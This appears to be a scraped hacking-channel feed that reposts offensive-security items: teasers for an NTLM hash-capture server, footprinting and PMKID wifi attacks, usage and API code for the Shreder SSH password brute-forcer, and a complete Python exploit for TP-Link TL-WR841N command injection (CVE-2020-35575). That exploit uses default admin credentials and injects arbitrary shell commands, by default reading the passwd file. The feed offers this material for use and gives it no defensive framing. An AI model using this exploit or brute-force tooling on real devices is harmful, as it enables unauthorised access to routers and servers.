Kali Linux Tutorials
SharpWebServer : HTTP And WebDAV Server With Net-NTLM Hashes Capture Functionality

SharpWebServer is a Red Team oriented simple HTTP & WebDAV server written in C# with functionality to capture Net-NTLM hashes. To be used for serving payloads on compromised machines for lateral movement purposes. Requires .NET Framework 4.5 and System.Net and System.Net.Sockets references. Usage :: SharpWebServer ::a Red Team oriented C# Simple HTTP Server with Net-NTLMv1/2 hashes capture functionalityAuthors:– Can Güney Aksakalli […]

The post SharpWebServer : HTTP And WebDAV Server With Net-NTLM Hashes Capture Functionality appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Whois Lookup — footprinting

https://cdn-images-1.medium.com/max/1280/1*4ECnjBmSaC2hDOgqR9q6mg.jpeg
Footprinting is an ethical hacking procedure of gathering data about the objective and its condition. It is a pre-assault stage, and most…

Continue reading on Medium »

Hacking on Medium
Have information on any domain using Netcraft

https://cdn-images-1.medium.com/max/1280/1*vZpGR24zb5COFqH4mCNwbQ.jpeg
Netcraft is an internet service association that provides detailed data about the web facilitating and the Server with point-by-point data…

Continue reading on Purple TEAM »

Hacking on Medium
Flood Saldırıları (1)

https://cdn-images-1.medium.com/max/800/1*xDnuEbfI27reE1vZAFByKA.jpeg
Flood saldırıların da, saldırganlar bir sisteme çok yüksek miktarda paketler gönderir yükler. Böylece sistem izin verilen ağ trafiğini…

Continue reading on Medium »

Hacking on Medium
Held for Ransom. A New Pandemic is Sweeping America. It Affects You

https://cdn-images-1.medium.com/max/2000/1*kaexpqOeN4UO8TIH50t12w.jpeg
and Bitcoin enables it.

Continue reading on BeingWell »

KitPloit - PenTest Tools!
Shreder - A Powerful Multi-Threaded SSH Protocol Password Bruteforce Tool

https://1.bp.blogspot.com/-LOYAT6i54D4/YNDy-S0CeiI/AAAAAAAAc4A/WruRy5N6vF8BIo4ewN68K0RWVQKhb2bOACNcBGAsYHQ/w640-h302/ssh_pass.png
Shreder is a powerful multi-threaded SSH protocol password brute-force tool.

Features

* Very fast password guessing, just one password in 0.1second.
* Optimized for big password lists, Shreder tries 1000 passwords in 1minute and 40seconds.
* Simple CLI and API usage.
Installation

pip3 install git+https://github.com/EntySec/Shreder

Basic usage

To use Shreder just type shrederin your terminal.

bruteforce tool. positional arguments: target optional arguments: -h, --help show this help message and exit -p PORT, --port PORT SSH port. -u USERNAME, --username USERNAME SSH username. -l LIST, --list LIST Passwords list. ">usage: shreder [-h] [-p PORT] [-u USERNAME] [-l LIST] target

Shreder is a powerful multi-threaded SSH protocol password bruteforce tool.

positional arguments:
target

optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT SSH port.
-u USERNAME, --username USERNAME
SSH username.
-l LIST, --list LIST Passwords list.


Examples

Brute-forcing single target

Let's brute-force my device just for fun.

shreder 192.168.2.109 -u mobile -l passwords.txt

API usage

Shreder also has their own Python API that can be invoked by importing Shreder to your code.

from shreder import Shreder

Basic functions

There are all Shreder basic functions that can be used to brute-force single target.

* connect(host, port, username, password)- Connect single target by given address.
* brute(host, port, username, dictionary)- Brute-force single target by given address.

Examples

Brute-forcing single target

from shreder import Shreder

shreder = Shreder()
password = shreder.brute(192.168.2.109, 22, 'mobile', 'passwords.txt')

print(password)
Download Shreder

Deep Web
If there are alternatives to anonymous internet, how come Tor is getting so much attention

If there are alternatives to anonymous internet, how come Tor is getting so much attention

submitted by /u/dominic_l
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Got a random text after surfing the deep web

I’ve surfed the deep web numerous times now. I never once leaked any information whatsoever and yesterday I received a random text with a link after surfing the web. I had only a few tabs opened at a time. How could this have happened? Should I be concerned? Could this just be a coincidence?

submitted by /u/orcawhale2
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Wireless Penetration Testing: PMKID Attack

Introduction PMKID attack was developed by Team Hashcat. Unlike the traditional handshake capture method (4- way handshake), this method does not wait for a client to re-authenticate. PMKID is directly captured in these attacks and then cracked. This attack works on WPA and WPA2 protocols and recent studies have shown

The post Wireless Penetration Testing: PMKID Attack appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
TP-Link TL-WR841N Command Injection

https://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png
TP-Link TL-WR841N suffers from a remote command injection vulnerability.

MD5 | 6d752418204da4962328ae4dea40f269

Download
# Exploit Title: TP-Link TL-WR841N - Command Injection
# Date: 2020-12-13
# Exploit Author: Koh You Liang
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://static.tp-link.com/TL-WR841N(JP)_V13_161028.zip
# Version: TL-WR841N 0.9.1 4.0
# Tested on: Windows 10
# CVE : CVE-2020-35575

import requests
import sys
import time

try:
_ = sys.argv[2]
payload = ' '.join(sys.argv[1:])
except IndexError:
try:
payload = sys.argv[1]
except IndexError:
print("[*] Command not specified, using the default `cat etc/passwd=`")
payload = 'cat etc/passwd'

# Default credentials is admin:admin - replace with your own
cookies = {
'Authorization': 'Basic YWRtaW46YWRtaW4='
}

headers = {
'Host': '192.168.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko=/20100101 Firefox/84.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'text/plain',
'Content-Length': '197',
'Origin': 'http://192.168.0.1',
'Connection': 'close',
'Referer': 'http://192.168.0.1/mainFrame.htm',
}

data1 = \
'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\r\nmaxHopCount=20\r\ntimeout=50\r\nnumberOfTries=1\r\nhost="`{}`"\r\ndataBlockSize=64\r\nX_TP_ConnName=ewan_ipoe_d\r\ndiagnosticsState=Requested\r\nX_TP_HopSeq=0\r\n'''.format(payload)
response1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)
print('[+] Sending payload...')

try:
response1.text.splitlines()[0]
except IndexError:
sys.exit('[-] Cannot get response. Please check your cookie.')
if response1.text.splitlines()[0] != '[error]0':
sys.exit('[*] Router/Firmware is not vulnerable.')

data2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'
response2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)
print('[+] Receiving response from router...')
time.sleep(0.8) # Buffer time for traceroute to succeed

data3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\ndiagnosticsState\r\nX_TP_HopSeq\r\nX_TP_Result\r\n'''
response3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)

if '=:' in response3.text.splitlines()[3]:
print('[-] Command not supported.')
else:
print('[+] Exploit successful!')
for line_number, line in enumerate(response3.text.splitlines()):
try:
if line_number == 3:
print(line[12:])
if line_number > 3 and line != '[error]0':
print(line)
if 'not known' in line:
break
except IndexError:
break


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
VMware vCenter 6.5 / 6.7 / 7.0 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Adobe ColdFusion 8 Remote Command Execution

___________________________
@hacking_Attack
@Hacking_Video